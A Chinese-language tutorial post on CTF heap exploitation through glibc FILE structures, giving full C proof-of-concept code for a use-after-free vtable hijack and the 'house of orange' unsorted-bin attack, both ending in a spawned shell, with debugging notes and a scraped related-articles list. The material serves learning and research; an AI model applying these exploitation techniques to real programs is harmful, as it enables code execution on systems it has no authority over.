Pwn with File结构体(一)
前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
利用 FILE
结构体进行攻击,在现在的 ctf
比赛中也经常出现,最近的 hitcon2017
又提出了一种新的方式。本文对该攻击进行总结。
正文
首先来一张 _IO_FILE
结构体的结构
_IO_FILE_plus
等价于 _IO_FILE
+ vtable
调试着来看看(64 位)
vtable
指向的位置是一组函数指针
利用 vtable
进行攻击
通过一个 uaf
的示例代码来演示
#include <stdio.h>
#include <stdlib.h>
void pwn(void)
{
system("sh");
}
// 用于伪造 vtable
void * funcs[] = {
NULL, // "extra word"
NULL, // DUMMY
exit, // finish
NULL, // overflow
NULL, // underflow
NULL, // uflow
NULL, // pbackfail
NULL, // xsputn
NULL, // xsgetn
NULL, // seekoff
NULL, // seekpos
NULL, // setbuf
NULL, // sync
NULL, // doallocate
NULL, // read
NULL, // write
NULL, // seek
pwn, // close
NULL, // stat
NULL, // showmanyc
NULL, // imbue
};
int main(int argc, char * argv[])
{
FILE *fp; // _IO_FILE 结构体
unsigned char *str;
printf("sizeof(FILE): 0x%x\n", sizeof(FILE));
/* _IO_FILE + vtable_ptr 分配一个 _IO_FILE_plus 结构体 */
str = malloc(sizeof(FILE) + sizeof(void *));
printf("freeing %p\n", str);
free(str);
/*打开一个文件,会分配一个 _IO_FILE_plus 结构体 , 会使用刚刚 free 掉的内存*/
if (!(fp = fopen("/dev/null", "r"))) {
perror("fopen");
return 1;
}
printf("FILE got %p\n", fp);
/* 取得地址 */
printf("_IO_jump_t @ %p is 0x%08lx\n",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* 修改 vtable 指针 */
*(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
printf("_IO_jump_t @ %p now 0x%08lx\n",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* 调用 fclose 触发 close */
fclose(fp);
return 0;
}
- 首先分配一个
_IO_FILE_plus
大小的内存块 - 然后释放掉调用
fopen
分配_IO_FILE_plus
结构体 - 修改
fp
的vtable
指针到我们布局的地址 - 调用
fclose
函数, 进而调用pwn
调试可以看到,分配的大小为 0xf0
(也就是 0xe0+0x10
) 和_IO_FILE_plus
的大小是一样的
free
掉后,调用 fopen
会占用这个内存
查看 vtable
也是符合预期
替换vtable
指针之后
close
函数已经被修改为 pwn
函数,最后调用 fclose
函数,就会调用 pwn
函数
house of orange
为了便于调试,使用 how2heap 的代码进行调试分析。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// 首先分配一个 0x400 的 chunk
p1 = malloc(0x400-16);
// 拿到 top chunk的地址
top = (size_t *) ( (char *) p1 + 0x400 - 16);
// 修改 top chunk 的 size
top[1] = 0xc01;
// 触发 syscall 的 _int_free, top_chunk 放到了 unsort bin
p2 = malloc(0x1000);
// 根据 fd 指针的偏移计算 io_list_all 的地址
io_list_all = top[2] + 0x9a8;
// 修改 top_chunk 的 bk 为 io_list_all - 0x10 , 后面会触发
top[3] = io_list_all - 0x10;
/*
设置 fp 指针指向位置 开头 为 /bin/sh
*/
memcpy( ( char *) top, "/bin/sh\x00", 8);
// 修改 top chunk 的 大小 为 0x60
top[1] = 0x61;
/*
为了可以正常调用 overflow() ,需要满足一些条件
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;
// 设置虚表
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
// 再次 malloc, fastbin, smallbin都找不到需要的大小,会遍历 unsort bin 把它们添加到对应的 bins 中去
// 之前已经把 top->bk 设置为 io_list_all - 0x10, 所以会把 io_list_all 的值 设置为 fd,
// 也就是 main_arena+88
// _IO_FILE_plus + 0x68 --> _china , main_arena+88 + 0x68 为 smallbin[5], 块大小为 0x60
// 所以要把 top的 size 设置为 0x60
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
代码的流程如下:
- 首先分配
0x400
字节的块 - 修改
top chunk
的size
域为0xc01
malloc(0x1000)
触发_int_free
,top
被放到了unsorted bin
, 下面称它为old_top
- 布局
old_top
, 设置bk = io_list_all - 0x10
, 把old_top
伪造成一个_IO_FILE_plus
,并设置好vtable
malloc(10)
由于此时fastbin
,smallbin
均为空,所以会进入遍历unsorted bin
,并根据相应的大小放到对应的bin
中。上一步设置old_top
大小为0x60
, 所以在放置old_top
过程中,先通过unsorted bin attack
修改io_list_all
为fd也就是 main_arena->top
, 然后old_top
会被链到smallbin[5]
(大小为 0x60 ), 接着继续遍历unsorted bin
,这一步 会abort
,原理下面说, 然后会遍历io_list_all
调用_IO_OVERFLOW (fp, EOF)
. 伪造vtable
getshell。
下面调试分析之
参考断点:
break main
bp genops.c:775
bp malloc.c:3472
调试到
23 p2 = malloc(0x1000);
top chunk
的 size
已经被修改,unsorted bin
还是空的。
单步步过,发现 top
已经被 添加到 unsorted bin
然后就是一系列的伪造 _IO_FILE_plus
操作, 直接运行到
62 malloc(10);
看看布局好后的结果
vtable
可以看到 __overflow
被设置为 winner
函数,所以只要调用 __overflow
就会调用 winner
。
下面看看,怎么通过堆布局实现 getshell
在 malloc.c:3472
下好断点,运行,会被断下来。
这里是遍历 unsorted bin
的流程。
会进入这里原因在于此时 fastbin
, smallbin
均为空,不能满足分配的需求,接着就会进入这里。
这里会有一个 check
,过不去就会 malloc_printerr
,进而 abort
。
第一次进入这里是可以过去的,然后会根据大小把 victim
放到合适的 bin
中,之前我们已经 把 old_top
的大小设置成了 0x60
, 这里他就会被放到 smallbin[5]
里。
同时插入之前会先从unsorted bin
中 unlink
(unsorted bin attack) ,这时可以 往 victim->bk + 0x10
写入 victim->fd
, 之前我们已经设置 victim->bk 为 _IO_list_all-0x10
, 所以在这里就可以 修改 _IO_list_all
为 main_arena->top
第一次遍历 unsorted bin
, 从 unsorted bin
移除时的相关变量,内存数据。
可以看到 bck
会成为unsorted bin
的起始位置,然后
bck->fd = unsorted_chunks (av);
而且此时 bck->fd
为 _IO_list_all
。
继续运行,再次断在了 malloc.c:3472
。
可以看到,此时的 _IO_list_all
已经被修改成了 <main_arena+88>
, old_top
被放到了 smallbin[5]
, 而且此时 victim->size
为0, 所以下面会进入 abort
的流程。
我们来看看,此时构造的 _IO_list_all
的内容
_IO_list_all
偏移 0x68
为 _chain
,这也是之前设置 old_top
大小为 0x60
的原因。
这样就成功把 old_top
链入了 _IO_list_all
。
下面看看该怎么拿 shell
在 abort
函数中会调用 fflush(null)
实际调用的是 _IO_flush_all_lockp
遍历 _IO_list_all
调用 _IO_OVERFLOW (fp, EOF)
,其实就是调用 fp->vtable->__overflow(fp,eof)
第一次执行循环时,可以看上面的 _IO_list_all
数据,发现进入不了 _IO_OVERFLOW
这个判断,所以_IO_list_all
第一项的 vtable
中的数据是坏的也没有关系。
第二次循环,通过 fp = fp->_chain
找到我们的 old_top
, 我们已经在这布局好了数据。
运行 getshell
总结
FILE
结构体是一个很好的攻击目标,学习一下很有必要
调试时,尽可能用最小的代码复现问题。
参考链接:
http://www.evil0x.com/posts/13764.html
https://securimag.org/wp/news/buffer-overflow-exploitation/
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
http://repo.thehackademy.net/depot_ouah/fsp-overflows.txt
Pwn with File结构体(一)的更多相关文章
- Pwn with File结构体(四)
前言 前面几篇文章说道,glibc 2.24 对 vtable 做了检测,导致我们不能通过伪造 vtable 来执行代码.今天逛 twitter 时看到了一篇通过绕过 对vtable 的检测 来执行代 ...
- Pwn with File结构体(三)
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtab ...
- Pwn with File结构体(二)
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 最新版的 libc 中会对 vtable 检查,所以之前的攻击方式 ...
- Pwn with File结构体之利用 vtable 进行 ROP
前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...
- Linux_Struct file()结构体
struct file结构体定义在/linux/include/linux/fs.h(Linux 2.6.11内核)中,其原型是:struct file { /* * f ...
- Linux--struct file结构体
struct file(file结构体): struct file结构体定义在include/linux/fs.h中定义.文件结构体代表一个打开的文件,系统中的每个打开的文件在内核空间都有一个关联的 ...
- 2018.5.2 file结构体
f_flags,File Status Flag f_pos,表示当前读写位置 f_count,表示引用计数(Reference Count): dup.fork等系统调用会导致多个文件描述符指向同一 ...
- fd与FILE结构体
文件描述符 fd 概念:文件描述符在形式上是一个非负整数.实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表.当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件 ...
- file结构体中private_data指针的疑惑
转:http://www.360doc.com/content/12/0506/19/1299815_209093142.shtml hi all and barry, 最近在学习字符设备驱动,不太明 ...
随机推荐
- 【PaddlePaddle系列】手写数字识别
最近百度为了推广自家编写对深度学习框架PaddlePaddle不断推出各种比赛.百度声称PaddlePaddle是一个“易学.易用”的开源深度学习框架,然而网上的资料少之又少.虽然百度很用心地提供 ...
- 解析ASP.NET Mvc开发之EF延迟加载 分类: ASP.NET 2014-01-04 01:29 4017人阅读 评论(1) 收藏
目录: 从明源动力到创新工场这一路走来 解析ASP.NET WebForm和Mvc开发的区别 解析ASP.NET 和Mvc开发之查询数据实例 ----------------------------- ...
- HTML BODY 背景图片
内嵌: background:url(背景图片路径) no-repeat;/*不重复默认在左上方*/ background:url(背景图片路径) no-repeat center;/*不重复背景 ...
- Android 开发工具类 32_通过 HTTP 协议实现文件上传
完成像带有文件的用户数据表单的上传,而且可以上传多个文件,这在用户注册并拍照时尤其有用. import java.io.BufferedReader; import java.io.ByteArray ...
- AttrContext
info属性类型为AttrContext或AttrContextEnv.主要看AtrContext即可.定义了如下关键参数: /** Contains information specific to ...
- 用as3.0制作一个滚动条组件
本实例演示了实现一个滚动条基本功能的制作方法,没有添加改变皮肤,修改滚动条视框大小等功能,有兴趣的朋友可根据自己要求自行添加.使用时只需要通过以下一行代码创建滚动条组件: var myScrollba ...
- 深度学习--RNN,LSTM
一.RNN 1.定义 递归神经网络(RNN)是两种人工神经网络的总称.一种是时间递归神经网络(recurrent neural network),另一种是结构递归神经网络(recursive neur ...
- HMM分词实例
class HMM(object): def __init__(self): import os # 主要是用于存取算法中间结果,不用每次都训练模型 self.model_file = 'model/ ...
- Go RabbitMQ (一)
RabbitMQ 简介 RabbitMQ是一个消息代理,用来负责接收和转发消息. 术语 生产者:生产者是负责发送消息的 队列:队列是RabbitMQ用来存储消息的,受主机内存和磁盘大小的限制,本质上是 ...
- Docker容器打包成镜像 - OpenDaylight官方 SDN Hub Tutorial VM 的docker镜像
由于工作需要,在看OpenDaylight (一个SDN的开源控制器) 官方Tutorial有一个比较基础且介绍比较详细的文档(http://sdnhub.org/tutorials/opendayl ...